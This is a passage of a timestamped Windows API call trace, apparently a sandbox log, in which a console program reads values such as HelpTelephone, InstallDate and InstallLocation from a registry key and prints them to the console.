lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.896] GetConsoleOutputCP () returned 0x1b5 [0147.896] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.896] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.896] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.896] __iob_func () returned 0x7fefd702a80 [0147.896] _fileno (_File=0x7fefd702ab0) returned 1 [0147.896] _errno () returned 0xc4bb0 [0147.896] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.896] _errno () returned 0xc4bb0 [0147.896] GetFileType (hFile=0x50) returned 0x1 [0147.896] lstrlenW (lpString=" ") returned 4 [0147.896] GetConsoleOutputCP () returned 0x1b5 [0147.896] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.896] GetConsoleOutputCP () returned 0x1b5 [0147.897] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.897] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.897] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.897] __iob_func () returned 0x7fefd702a80 [0147.897] _fileno (_File=0x7fefd702ab0) returned 1 [0147.897] _errno () returned 0xc4bb0 [0147.897] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.897] _errno () returned 0xc4bb0 [0147.897] GetFileType (hFile=0x50) returned 0x1 [0147.897] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=133405") returned 45 [0147.897] GetConsoleOutputCP () returned 0x1b5 [0147.897] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0147.897] GetConsoleOutputCP () returned 0x1b5 [0147.897] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=133405", lpUsedDefaultChar=0x0) returned 45 [0147.897] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0147.897] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.897] __iob_func () returned 0x7fefd702a80 [0147.897] _fileno (_File=0x7fefd702ab0) returned 1 [0147.897] _errno () returned 0xc4bb0 [0147.897] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.897] _errno () returned 0xc4bb0 [0147.897] GetFileType (hFile=0x50) returned 0x1 [0147.897] lstrlenW (lpString="\n") returned 1 [0147.897] GetConsoleOutputCP () returned 0x1b5 [0147.898] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.898] GetConsoleOutputCP () returned 0x1b5 [0147.898] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.898] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.898] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.898] GetProcessHeap () returned 0x2e0000 [0147.898] GetProcessHeap () returned 0x2e0000 [0147.898] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0147.898] GetProcessHeap () returned 0x2e0000 [0147.898] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x5e [0147.898] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0 | out: hHeap=0x2e0000) returned 1 [0147.898] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.898] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.898] GetProcessHeap () returned 0x2e0000 [0147.898] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.898] GetProcessHeap () returned 0x2e0000 [0147.898] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.898] GetProcessHeap () returned 0x2e0000 [0147.898] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.898] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.898] __iob_func () returned 0x7fefd702a80 [0147.898] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.898] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.898] _fileno (_File=0x7fefd702ab0) returned 1 [0147.898] _errno () returned 0xc4bb0 [0147.898] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.898] _errno () returned 0xc4bb0 [0147.898] GetFileType (hFile=0x50) returned 0x1 [0147.899] lstrlenW (lpString=" ") returned 4 [0147.899] GetConsoleOutputCP () returned 0x1b5 [0147.899] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.899] GetConsoleOutputCP () returned 0x1b5 [0147.899] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.899] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.899] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.899] lstrlenW (lpString="HelpTelephone") returned 13 [0147.899] __iob_func () returned 0x7fefd702a80 [0147.899] _fileno (_File=0x7fefd702ab0) returned 1 [0147.899] _errno () returned 0xc4bb0 [0147.899] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.899] _errno () returned 0xc4bb0 [0147.899] GetFileType (hFile=0x50) returned 0x1 [0147.899] lstrlenW (lpString="HelpTelephone") returned 13 [0147.899] GetConsoleOutputCP () returned 0x1b5 [0147.899] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.899] GetConsoleOutputCP () returned 0x1b5 [0147.899] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0147.900] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.900] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.900] __iob_func () returned 0x7fefd702a80 [0147.900] _fileno (_File=0x7fefd702ab0) returned 1 [0147.900] _errno () returned 0xc4bb0 [0147.900] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.900] _errno () returned 0xc4bb0 [0147.900] GetFileType (hFile=0x50) returned 0x1 [0147.900] lstrlenW (lpString=" ") returned 4 [0147.900] GetConsoleOutputCP () returned 0x1b5 [0147.900] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.900] GetConsoleOutputCP () returned 0x1b5 [0147.900] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.900] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.900] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.900] __iob_func () returned 0x7fefd702a80 [0147.900] _fileno (_File=0x7fefd702ab0) returned 1 [0147.900] _errno () returned 0xc4bb0 [0147.900] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.900] _errno () returned 0xc4bb0 [0147.900] GetFileType (hFile=0x50) returned 0x1 [0147.900] lstrlenW (lpString="REG_SZ") returned 6 [0147.900] GetConsoleOutputCP () returned 0x1b5 [0147.901] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.901] GetConsoleOutputCP () returned 0x1b5 [0147.901] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.901] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.901] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.901] __iob_func () returned 0x7fefd702a80 [0147.901] _fileno (_File=0x7fefd702ab0) returned 1 [0147.901] _errno () returned 0xc4bb0 [0147.901] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.901] _errno () returned 0xc4bb0 [0147.901] GetFileType (hFile=0x50) returned 0x1 [0147.901] lstrlenW (lpString=" ") returned 4 [0147.901] GetConsoleOutputCP () returned 0x1b5 [0147.901] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.901] GetConsoleOutputCP () returned 0x1b5 [0147.901] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.901] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.901] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.901] __iob_func () returned 0x7fefd702a80 [0147.901] _fileno (_File=0x7fefd702ab0) returned 1 [0147.901] _errno () returned 0xc4bb0 [0147.901] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.902] _errno () returned 0xc4bb0 [0147.902] GetFileType (hFile=0x50) returned 0x1 [0147.902] lstrlenW (lpString="") returned 0 [0147.902] __iob_func () returned 0x7fefd702a80 [0147.902] _fileno (_File=0x7fefd702ab0) returned 1 [0147.902] _errno () returned 0xc4bb0 [0147.902] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.902] _errno () returned 0xc4bb0 [0147.902] GetFileType (hFile=0x50) returned 0x1 [0147.902] lstrlenW (lpString="\n") returned 1 [0147.902] GetConsoleOutputCP () returned 0x1b5 [0147.902] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.902] GetConsoleOutputCP () returned 0x1b5 [0147.902] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.902] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.902] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.902] GetProcessHeap () returned 0x2e0000 [0147.902] GetProcessHeap () returned 0x2e0000 [0147.902] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.902] GetProcessHeap () returned 0x2e0000 [0147.902] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.902] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.902] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.902] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x14) returned 0x0 [0147.902] GetProcessHeap () returned 0x2e0000 [0147.902] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x16) returned 0x2fd1a0 [0147.903] GetProcessHeap () returned 0x2e0000 [0147.903] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0147.903] GetProcessHeap () returned 0x2e0000 [0147.903] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0147.903] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd1a0, pcbData=0x23f670*=0x14 | out: pdwType=0x23f5f0*=0x1, pvData="20170630", pcbData=0x23f670*=0x12) returned 0x0 [0147.903] __iob_func () returned 0x7fefd702a80 [0147.903] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.903] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.903] _fileno (_File=0x7fefd702ab0) returned 1 [0147.903] _errno () returned 0xc4bb0 [0147.903] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.903] _errno () returned 0xc4bb0 [0147.903] GetFileType (hFile=0x50) returned 0x1 [0147.903] lstrlenW (lpString=" ") returned 4 [0147.903] GetConsoleOutputCP () returned 0x1b5 [0147.903] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.903] GetConsoleOutputCP () returned 0x1b5 [0147.903] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.903] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.903] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.903] lstrlenW (lpString="InstallDate") returned 11 [0147.903] __iob_func () returned 0x7fefd702a80 [0147.903] _fileno (_File=0x7fefd702ab0) returned 1 [0147.903] _errno () returned 0xc4bb0 [0147.903] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.903] _errno () returned 0xc4bb0 [0147.903] GetFileType (hFile=0x50) returned 0x1 [0147.903] lstrlenW (lpString="InstallDate") returned 11 [0147.904] GetConsoleOutputCP () returned 0x1b5 [0147.904] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0147.904] GetConsoleOutputCP () returned 0x1b5 [0147.904] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0147.904] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0147.904] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.904] __iob_func () returned 0x7fefd702a80 [0147.904] _fileno (_File=0x7fefd702ab0) returned 1 [0147.904] _errno () returned 0xc4bb0 [0147.904] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.904] _errno () returned 0xc4bb0 [0147.904] GetFileType (hFile=0x50) returned 0x1 [0147.904] lstrlenW (lpString=" ") returned 4 [0147.904] GetConsoleOutputCP () returned 0x1b5 [0147.904] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.904] GetConsoleOutputCP () returned 0x1b5 [0147.904] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.904] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.904] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.904] __iob_func () returned 0x7fefd702a80 [0147.905] _fileno (_File=0x7fefd702ab0) returned 1 [0147.905] _errno () returned 0xc4bb0 [0147.905] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.905] _errno () returned 0xc4bb0 [0147.905] GetFileType (hFile=0x50) returned 0x1 [0147.905] lstrlenW (lpString="REG_SZ") returned 6 [0147.905] GetConsoleOutputCP () returned 0x1b5 [0147.905] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.905] GetConsoleOutputCP () returned 0x1b5 [0147.905] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.905] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.905] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.905] __iob_func () returned 0x7fefd702a80 [0147.905] _fileno (_File=0x7fefd702ab0) returned 1 [0147.905] _errno () returned 0xc4bb0 [0147.905] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.905] _errno () returned 0xc4bb0 [0147.905] GetFileType (hFile=0x50) returned 0x1 [0147.905] lstrlenW (lpString=" ") returned 4 [0147.905] GetConsoleOutputCP () returned 0x1b5 [0147.905] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.905] GetConsoleOutputCP () returned 0x1b5 [0147.906] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.906] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.906] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.906] __iob_func () returned 0x7fefd702a80 [0147.906] _fileno (_File=0x7fefd702ab0) returned 1 [0147.906] _errno () returned 0xc4bb0 [0147.906] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.906] _errno () returned 0xc4bb0 [0147.906] GetFileType (hFile=0x50) returned 0x1 [0147.906] lstrlenW (lpString="20170630") returned 8 [0147.906] GetConsoleOutputCP () returned 0x1b5 [0147.906] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.906] GetConsoleOutputCP () returned 0x1b5 [0147.906] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0147.906] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.906] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.906] __iob_func () returned 0x7fefd702a80 [0147.906] _fileno (_File=0x7fefd702ab0) returned 1 [0147.906] _errno () returned 0xc4bb0 [0147.906] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.906] _errno () returned 0xc4bb0 [0147.906] GetFileType (hFile=0x50) returned 0x1 [0147.906] lstrlenW (lpString="\n") returned 1 [0147.906] GetConsoleOutputCP () returned 0x1b5 [0147.907] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.907] GetConsoleOutputCP () returned 0x1b5 [0147.907] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.907] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.907] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.907] GetProcessHeap () returned 0x2e0000 [0147.907] GetProcessHeap () returned 0x2e0000 [0147.907] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0147.907] GetProcessHeap () returned 0x2e0000 [0147.907] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0147.907] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0 | out: hHeap=0x2e0000) returned 1 [0147.907] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.907] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.907] GetProcessHeap () returned 0x2e0000 [0147.907] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.907] GetProcessHeap () returned 0x2e0000 [0147.907] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.907] GetProcessHeap () returned 0x2e0000 [0147.907] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.907] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.907] __iob_func () returned 0x7fefd702a80 [0147.907] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.907] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.907] _fileno (_File=0x7fefd702ab0) returned 1 [0147.907] _errno () returned 0xc4bb0 [0147.907] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.907] _errno () returned 0xc4bb0 [0147.907] GetFileType (hFile=0x50) returned 0x1 [0147.908] lstrlenW (lpString=" ") returned 4 [0147.908] GetConsoleOutputCP () returned 0x1b5 [0147.908] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.908] GetConsoleOutputCP () returned 0x1b5 [0147.908] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.908] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.908] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.908] 